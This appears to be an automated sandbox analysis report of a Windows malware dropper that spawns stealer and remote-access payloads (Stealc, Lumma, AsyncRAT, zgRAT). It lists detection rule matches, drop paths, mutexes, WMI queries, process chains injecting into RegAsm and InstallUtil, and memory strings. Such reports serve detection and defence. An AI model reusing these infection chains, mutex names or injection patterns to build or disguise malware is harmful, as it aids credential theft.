Source: 35.2.rstxdhuj.exe.38efdb0.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 35.2.rstxdhuj.exe.38a1590.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000023.00000002.3231251960.00000000038A1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000023.00000002.3116851630.0000000002971000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000026.00000002.3514611255.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe, type: DROPPED	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\penis[1].exe, type: DROPPED	Matched rule: MALWARE_Win_zgRAT author = ditekSHen, description = Detects zgRAT

Source: gold[1].exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: gold.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 12dsvc[1].exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 12dsvc.exe.6.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9970729734332425
Source: file.exe	Static PE information: Section: tutljgzd ZLIB complexity 0.994399084512231
Source: axplong.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9970729734332425
Source: axplong.exe.0.dr	Static PE information: Section: tutljgzd ZLIB complexity 0.994399084512231
Source: random[1].exe.6.dr	Static PE information: Section: llbyxbem ZLIB complexity 0.9949982080354484
Source: c6f71c9f40.exe.6.dr	Static PE information: Section: llbyxbem ZLIB complexity 0.9949982080354484
Source: random[1].exe0.6.dr	Static PE information: Section: ZLIB complexity 0.9983502213896458
Source: random[1].exe0.6.dr	Static PE information: Section: xmjcxhmw ZLIB complexity 0.9945782643016344
Source: 3ab68b6f1f.exe.6.dr	Static PE information: Section: ZLIB complexity 0.9983502213896458
Source: 3ab68b6f1f.exe.6.dr	Static PE information: Section: xmjcxhmw ZLIB complexity 0.9945782643016344

Source: axplong.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: file.exe	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@60/100@15/16

Source: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe

Code function: 16_2_004F81AA CoCreateInstance,

16_2_004F81AA

Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\gold[1].exe

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: NULL
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6868:64:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5020:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Mutant created: \Sessions\1\BaseNamedObjects\07c6bc37dc50874878dcb010336ed906
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3520:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3192:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6600:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Mutant created: \Sessions\1\BaseNamedObjects\TSXTkO0pNBdN2KNw
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3208:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\44111dbc49

Jump to behavior

Source: Yara match	File source: 30.0.svchost015.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000001E.00000000.2988347504.0000000000401000.00000020.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.3021996080.0000000002E20000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\svchost015.exe, type: DROPPED

Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe

Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : Select Name from Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: stealc_default2.exe, 00000017.00000002.3114439180.000000006974F000.00000002.00000001.01000000.0000001B.sdmp, stealc_default2.exe, 00000017.00000002.3087042883.000000001B497000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000017.00000002.3113444238.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3457891748.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3468864393.00000000690BF000.00000002.00000001.01000000.0000001B.sdmp, svchost015.exe, 0000001E.00000002.3426007293.000000001B02A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: stealc_default2.exe, 00000017.00000002.3114439180.000000006974F000.00000002.00000001.01000000.0000001B.sdmp, stealc_default2.exe, 00000017.00000002.3087042883.000000001B497000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000017.00000002.3113444238.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3457891748.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3468864393.00000000690BF000.00000002.00000001.01000000.0000001B.sdmp, svchost015.exe, 0000001E.00000002.3426007293.000000001B02A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: stealc_default2.exe, 00000017.00000002.3114439180.000000006974F000.00000002.00000001.01000000.0000001B.sdmp, stealc_default2.exe, 00000017.00000002.3087042883.000000001B497000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000017.00000002.3113444238.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3457891748.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3468864393.00000000690BF000.00000002.00000001.01000000.0000001B.sdmp, svchost015.exe, 0000001E.00000002.3426007293.000000001B02A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: stealc_default2.exe, 00000017.00000002.3114439180.000000006974F000.00000002.00000001.01000000.0000001B.sdmp, stealc_default2.exe, 00000017.00000002.3087042883.000000001B497000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000017.00000002.3113444238.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3457891748.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3468864393.00000000690BF000.00000002.00000001.01000000.0000001B.sdmp, svchost015.exe, 0000001E.00000002.3426007293.000000001B02A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: stealc_default2.exe, 00000017.00000002.3114439180.000000006974F000.00000002.00000001.01000000.0000001B.sdmp, stealc_default2.exe, 00000017.00000002.3087042883.000000001B497000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000017.00000002.3113444238.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3457891748.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3468864393.00000000690BF000.00000002.00000001.01000000.0000001B.sdmp, svchost015.exe, 0000001E.00000002.3426007293.000000001B02A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: stealc_default2.exe, 00000017.00000002.3114439180.000000006974F000.00000002.00000001.01000000.0000001B.sdmp, stealc_default2.exe, 00000017.00000002.3087042883.000000001B497000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000017.00000002.3113444238.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3457891748.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3468864393.00000000690BF000.00000002.00000001.01000000.0000001B.sdmp, svchost015.exe, 0000001E.00000002.3426007293.000000001B02A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: stealc_default2.exe, 00000017.00000002.3087042883.000000001B497000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000017.00000002.3113444238.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3457891748.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3426007293.000000001B02A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: VCIo8iTrPf.exe, 00000011.00000002.3014501020.000000000374B000.00000004.00000800.00020000.00000000.sdmp, VCIo8iTrPf.exe, 00000011.00000002.3014501020.0000000003735000.00000004.00000800.00020000.00000000.sdmp, stealc_default2.exe, 00000017.00000003.2925273256.0000000021419000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000017.00000003.2938660339.0000000021435000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000003.3166207992.0000000020F9B000.00000004.00000020.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000003.3138284444.0000000020FA9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: stealc_default2.exe, 00000017.00000002.3087042883.000000001B497000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000017.00000002.3113444238.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3457891748.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3426007293.000000001B02A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: stealc_default2.exe, 00000017.00000002.3087042883.000000001B497000.00000004.00000020.00020000.00000000.sdmp, stealc_default2.exe, 00000017.00000002.3113444238.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3457891748.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, svchost015.exe, 0000001E.00000002.3426007293.000000001B02A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);

Source: file.exe

ReversingLabs: Detection: 55%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: axplong.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe "C:\Users\user\AppData\Local\Temp\1000002001\gold.exe"
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe "C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe"
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe "C:\Users\user\AppData\Roaming\esFzLrEqPw.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe "C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe "C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Process created: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe "C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe "C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe "C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe "C:\Users\user\AppData\Local\Temp\1000254001\penis.exe"
Source: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe "C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe"
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Process created: C:\Users\user\AppData\Local\Temp\svchost015.exe C:\Users\user\AppData\Local\Temp\svchost015.exe
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe "C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe "C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe "C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe "C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe"
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe "C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 644 -s 908
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe "C:\Users\user\AppData\Local\Temp\1000002001\gold.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe "C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe "C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe "C:\Users\user\AppData\Local\Temp\1000066001\stealc_default2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe "C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000254001\penis.exe "C:\Users\user\AppData\Local\Temp\1000254001\penis.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe "C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe "C:\Users\user\AppData\Local\Temp\1000314001\LummaC222222.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe "C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe "C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe "C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe "C:\Users\user\AppData\Local\Temp\1000354001\c6f71c9f40.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000002001\gold.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000004001\12dsvc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\esFzLrEqPw.exe "C:\Users\user\AppData\Roaming\esFzLrEqPw.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe "C:\Users\user\AppData\Roaming\VCIo8iTrPf.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000005001\Nework.exe	Process created: C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe "C:\Users\user\AppData\Local\Temp\054fdc5f70\Hkbsse.exe"
Source: C:\Users\user\AppData\Local\Temp\1000191001\needmoney.exe	Process created: C:\Users\user\AppData\Local\Temp\svchost015.exe C:\Users\user\AppData\Local\Temp\svchost015.exe
Source: C:\Users\user\AppData\Local\Temp\1000290001\crypted.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Users\user\AppData\Local\Temp\1000322001\newbundle2.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1000342001\rstxdhuj.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
Source: C:\Users\user\AppData\Local\Temp\1000349001\cccc2.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
